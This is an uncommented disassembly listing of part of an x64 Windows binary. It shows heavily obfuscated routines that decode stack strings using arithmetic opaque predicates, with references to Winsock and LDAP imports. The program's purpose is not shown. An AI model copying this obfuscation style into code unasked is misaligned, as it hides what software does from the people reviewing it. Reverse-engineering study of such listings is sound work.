lea rcx, [rbp + 0x938]
xor r8d, r8d
mov rdx, rdi
call fcn.140036bc0
test al, al
je 0x14009a6df
xor ebx, ebx
nop dword [rax]
mov edi, dword [r14 + 0x30]
cmp edi, ebx
sete dl
mov dword [rbp - 0x64], 0
mov dword [rbp - 0x60], 0
lea r9, [rbp - 0x64]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e490
test al, al
je 0x14009a6c2
mov dword [r14 + 0x30], ebx
cmp edi, ebx
jne 0x14009a6cf
call fcn.140014a40
inc ebx
add rsi, 8
cmp ebx, 2
jl 0x14009a690
call fcn.140018d80
call fcn.1400408a0
xor r8d, r8d
xor edx, edx
lea rcx, str.Settings
call fcn.140040820
test al, al
je 0x1400a2ccc
mov byte [rbp + 0x960], 0x67
mov byte [rbp + 0x961], 4
mov byte [rbp + 0x962], recv
mov byte [rbp + 0x963], 6
mov byte [rbp + 0x964], 6
mov byte [rbp + 0x965], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x966], 2
mov byte [rbp + 0x967], reloc.WS2_32.dll___WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x968], xmm0
mov qword [rbp + 0x978], rax
mov word [rbp + 0x980], ax
mov byte [rbp + 0x982], al
movabs rsi, 0x259530787cdbd994
movabs r13, 0x265c7005bccd8444
movabs r14, 0xd430d31d8396d0ec
movabs r15, 0x8777f31209fbc864
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x1402304a8]
mov r8, qword [0x1402304a0]
nop
xor edi, edi
cmp rdi, 0x23
jae 0x14009b5b0
movzx ebx, byte [rbp + rdi + 0x960]
mov r10, rbx
cmp r9, rdi
ja 0x14009b5a4
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14009a7ea
lea rcx, [rdi + r13]
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x24
jmp 0x14009a831
je 0x14009b513
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009b477
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009b441
lea rax, [r8 + 6]
cmp r9, rax
je 0x14009b3f6
lea rax, [r8 + 4]
cmp r9, rax
je 0x14009b3c8
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009b397
cmp r8, rdi
ja 0x14009b598
lea rax, [r8 + 0x400]
cmp r9, rax
jae 0x14009a864
lea rcx, [rdi + rsi]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x14009a8b0
lea rax, [r8 + 1]
cmp r9, rax
je 0x14009b340
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009b317
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009b2e4
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009b2c1
lea rax, [r8 + 7]
cmp r9, rax
je 0x14009b299
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14009aec2
nop dword [rax]
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x14009aeae
lea rax, [r8 + 5]
cmp r9, rax
je 0x14009ae82
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x14009ae6e
lea rax, [r8 + 4]
cmp r9, rax
je 0x14009ae46
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x14009ae23
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x14009adf0
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14009adc8
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x14009ada0
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x14009ad6c
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x14009a8c0
lea r9, [r8 + 2]
lea r8, [r9 + 0x28]
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x14009b570
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x14009b54d
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x14009aab1
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x14009aa92
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x14009aa78
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14009ad0b
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x14009aca7
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14009ac56
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x14009ac28
lea rax, [r8 + 4]
cmp r9, rax
jb 0x14009a8c0
lea r9, [r8 + 0x42]
lea r8, [r9 + 0x5a]
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x14009abef
lea rax, [r8 + 4]
cmp r9, rax
ja 0x14009abcc
lea rax, [r8 + 9]
cmp r9, rax
ja 0x14009aba9
lea rax, [r8 + 3]
cmp r9, rax
ja 0x14009ab71
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14009ab4e
lea rax, [r8 + 2]
cmp r9, rax
ja 0x14009ab27
lea rax, [r8 + 0x7a]
cmp r9, rax
ja 0x14009ab13
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x14009aaff
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x14009aad8
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x14009a8c0
lea r9, [r8 + 1]
lea r8, [r9 + 0x20]
jmp 0x14009a8c0
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
jmp 0x14009a8b0
lea rdx, [rdi + r15]
movzx eax, dl
and al, bl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009a831
movabs rdx, 0x3abf13069060bfdc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 4
add r11b, dl
jmp 0x14009a7b4
movabs rdx, 0x2ca983c3e6decca0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x14009b363
movabs rdx, 0xdff0a3b86d43c418
mov ecx, Ordinal_45
jmp 0x14009b3a6
movabs rdx, 0x9337c3acf3a8bb90
mov ecx, 8
jmp 0x14009b3d7
movabs rdx, 0x467ee3a17a0db308
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x14009b414
movabs rcx, 0xf9c603960072aa80
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
jmp 0x14009b45f
movabs rdx, 0xad0d238a86d7a1f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009a7a2
movabs rcx, 0x6054437f0d3c9970
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x14009b499
movabs rcx, 0x139b637393a190e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x14009b4cb
movabs rdx, 0xc6e283681a068860
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x960]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009a7a2
movabs rcx, 0x714534b6a02f30c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x54
mov byte [rbp + rdi + 0x960], r11b
inc rdi
jmp 0x14009a7a2
movabs rdx, 0xba5b733ff067ea84
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x61
jb 0x14009ac46
movabs rdx, 0x48d4a24939e2b318
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x50]
jmp 0x14009b363
movabs rdx, 0x6da2933476cce1fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 0x2a
jae 0x14009b23b
lea rax, [r8 + 0x400]
cmp r9, rax
jbe 0x14009b0c9
movabs rdx, 0x499be1d679d45dc8
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x78
add r11b, dl
jmp 0x14009ac79
movabs rdx, 0x20e9b328fd31d974
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x40
je 0x14009b26a
lea rax, [r8 + 0x41]
cmp r9, rax
jbe 0x14009afd2
movabs rdx, 0x2406b15dfcf88434
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6c
jmp 0x14009acc7
movabs rcx, 0xe17f22d2ed271978
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x48
movzx eax, byte [rbp + rdi + 0x960]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009a7a2
movabs rdx, 0x94c642c7738c10f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009b4cb
movabs rdx, 0x480d62bbf9f10868
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009b499
movabs rcx, 0xfb5482b08055ffe0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009a7a2
movabs rcx, 0xae9ba2a506baf758
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x14009b45f
movabs rdx, 0x61e2c2998d1feed0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009b414
movabs rdx, 0x1529e28e1384e648
mov ecx, 4
jmp 0x14009b3d7
movabs rcx, 0xc871028299e9ddc0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
inc r8
dec rdi
inc rdi
jmp 0x14009a7a2
movabs rdx, 0x7bb82277204ed538
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14009b34f
lea rax, [r8 + 0x61]
cmp r9, rax
jae 0x14009aeee
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009ad2d
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14009af2f
movabs rcx, 0x4b2a60f0f9b7b328
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x18
movzx eax, byte [rbp + rdi + 0x960]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009a7a2
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009af64
movabs rdx, 0xe49c2107ecedc438
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009b499
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14009af99
movabs rdx, 0x7e0de11ee023d548
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009b45f
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009ad2d
movabs rcx, 0x643881414cf4eee0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
inc r8
dec rdi
inc rdi
jmp 0x14009a7a2
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x14009b002
movabs rcx, 0x70bf916976938cbc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x24
jmp 0x14009b363
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009b023
movabs rdx, 0xa31518069c99dcc
mov ecx, gethostname
jmp 0x14009b3d7
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14009b053
movabs rcx, 0x56ea318be364a654
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x14009b414
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009b083
movabs rcx, 0xa3a311975cffaedc
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 4
jmp 0x14009b45f
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14009acca
movabs rdx, 0xd68691c5436bd0fc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x960]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009a7a2
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x14009b10a
movabs rcx, 0x9654c1e1f36f6650
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0x960]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009a7a2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14009b13f
movabs rdx, 0x2fc681f8e6a57760
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009b499
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14009b17f
movabs rcx, 0x7c7f620460407fe8
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x58
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009a7a2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009b1af
movabs rcx, 0xc938420fd9db8870
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x10
jmp 0x14009b45f
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14009b1e4
movabs rdx, 0x15f1221b537690f8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009b414
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009b21a
movabs rcx, 0x62aa0226cd119980
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
dec rdi
inc rdi
jmp 0x14009a7a2
lea rax, [r8 + 9]
cmp r9, rax
jne 0x14009ac79
movabs rdx, 0xfc1bc23dc047aa90
mov ecx, 8
jmp 0x14009b34f
movabs rdx, 0x958d8254b37dbba0
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x960]
sub r11b, al
sub r11b, 0x60
add r11b, dl
add r11b, bl
jmp 0x14009b414
movabs rdx, 0xe24662602d18c428
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0x960]
sub r11b, 0x18
add r11b, dl
jmp 0x14009b499
movabs rdx, 0x8b5c30d449b41dd4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009b4cb
movabs rcx, 0x3ea350c8d019154c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x14009b499
movabs rcx, 0xf1ea70bd567e0cc4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009a7a2
movabs rcx, 0xbbfd09ae9acf32c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x34
dec rdi
inc rdi
jmp 0x14009a7a2
movabs rdx, 0x724e1083f676e21c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movabs rdx, 0x6f31124ef6b0375c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x960], cl
inc r8
dec rdi
inc rdi
jmp 0x14009a7a2
movabs rdx, 0x8c23706189a5c884
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r8
dec rdi
inc rdi
jmp 0x14009a7a2
movabs rdx, 0x3f6a9056100abffc
mov ecx, recv
add rdx, rdi
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14009a7a2
movabs rcx, 0xf2b1b04a966fb774
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
movabs rdx, 0xbbe9f25a704b3fe4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x3c
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x960], cl
jmp 0x14009b45f
movabs rcx, 0xa5f8d03f1cd4aeec
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x74
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009a7a2
mov rbx, r10
movabs rcx, 0xc871028299e9ddc
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 4
movabs rdx, 0x8a2d265e9e6486c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x960], al
inc r8
add rax, r8
sub rdi, rax
movabs rdx, 0x2eff426ba6b3ccb0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x960], cl
inc r9
mov rax, r12
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0x960]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009a7a2
movabs rdx, 0x7315501136688ccc
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x960]
add rax, r8
add rdi, rax
inc rdi
jmp 0x14009a7a2
movabs rcx, 0xee0632fb16c5b754
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
jmp 0x14009a7a0
movabs rdx, 0xa14d52ef9d2aaecc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009a790
lea rcx, [rbp + 0x154e710]
jmp 0x14009b5b7
lea rcx, [rbp + 0x626b54]
jmp 0x14009b5b7
lea rcx, [rbp + 0x960]
call fcn.140036770
lea rdx, [0x140229fa0]
lea rcx, [rbp + 0x248]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x88]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006ba40
mov rsi, rax
mov byte [rbp + 0x988], Ordinal_217
mov byte [rbp + 0x989], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x98a], gethostname
mov byte [rbp + 0x98b], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x98c], Ordinal_200
mov byte [rbp + 0x98d], 0xa9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x98e], xmm0
mov qword [rbp + 0x99e], rax
mov dword [rbp + 0x9a6], eax
mov byte [rbp + 0x9aa], al
movabs r14, 0xb5d31fa667e513c2
movabs r15, 0xb381a0bb2996f07e
movabs r13, 0xa2309186be2bca0a
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor edi, edi
movabs rcx, 0x8a8879a35b5933a
cmp rdi, 0x23
jae 0x14009c475
movzx ebx, byte [rbp + rdi + 0x988]
mov r10, rbx
cmp r8, rdi
ja 0x14009c469
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009b6e3
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
add r11b, 0x6a
jmp 0x14009b730
je 0x14009c3d3
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009c33c
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009c308
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009c2a4
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009c273
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009c221
nop word [rax + rax]
cmp r9, rdi
ja 0x14009c45d
lea rax, [r9 + 6]
cmp r8, rax
jae 0x14009b764
lea rdx, [rdi + r14]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4e
add r11b, dl
jmp 0x14009b7b2
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14009c1fe
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009c1d0
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009c1bc
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009c189
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009c161
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009c128
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14009bd6d
nop
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009bd4a
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009bd36
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009bd08
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009bcf4
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009bcbe
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009bc8b
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009bc68
lea r8, [r9 + 0x400]
lea r9, [r8 + 0x40]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14009c435
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009c40d
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009b978
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009b95e
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14009b944
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009bc0e
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14009bbb1
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14009bb60
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14009bb32
lea r8, [r9 + 2]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x14009bafe
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009badb
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14009bab8
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14009ba80
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x14009ba45
lea rax, [r9 + 5]
cmp r8, rax
ja 0x14009ba1d
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14009b9f4
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14009b9c8
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14009b9a5
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14009b7c0
lea r8, [r9 + 1]
lea r9, [r8 + 0x1000]
jmp 0x14009b7c0
lea rcx, [rdi + r15]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x72
jmp 0x14009b7b2
lea rcx, [rdi + r13]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x46
jmp 0x14009b730
movabs rcx, 0x90df825252c0a396
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1a
movabs rcx, 0x8a8879a35b5933a
jmp 0x14009b6ae
movabs rcx, 0xae98fd333f289e10
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x14009c243
movabs rcx, 0x9d47edfed3bd779c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
inc r9
dec rdi
inc rdi
jmp 0x14009b692
movabs rcx, 0x8bf6deca68525128
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
dec rdi
inc rdi
jmp 0x14009b692
movabs rdx, 0x7aa5cf95fce72ab4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14009c2c7
movabs rdx, 0x6954c061917c0440
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b692
movabs rdx, 0x5803b12d2610ddcc
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009b692
movabs rcx, 0x46b2a1f8baa5b758
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x14009c35d
movabs rcx, 0x356192c44f3a90e4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
jmp 0x14009c38f
movabs rcx, 0x2410838fe3cf6a70
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
movzx eax, byte [rbp + rdi + 0x988]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009b692
movabs rcx, 0xf8c5dd8cd7438a4e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x22
mov byte [rbp + rdi + 0x988], r11b
inc rdi
jmp 0x14009b692
movabs rdx, 0xe774ce586bd863da
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x7a
jb 0x14009bb50
movabs rcx, 0x732607716658a91c
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x14009c243
movabs rdx, 0xd623bf24006d3d66
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x42
jae 0x14009c0c9
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14009bfa2
movabs rcx, 0xc5fb6f6534292894
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x14009bb83
movabs rdx, 0xc4d2afef950216f2
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
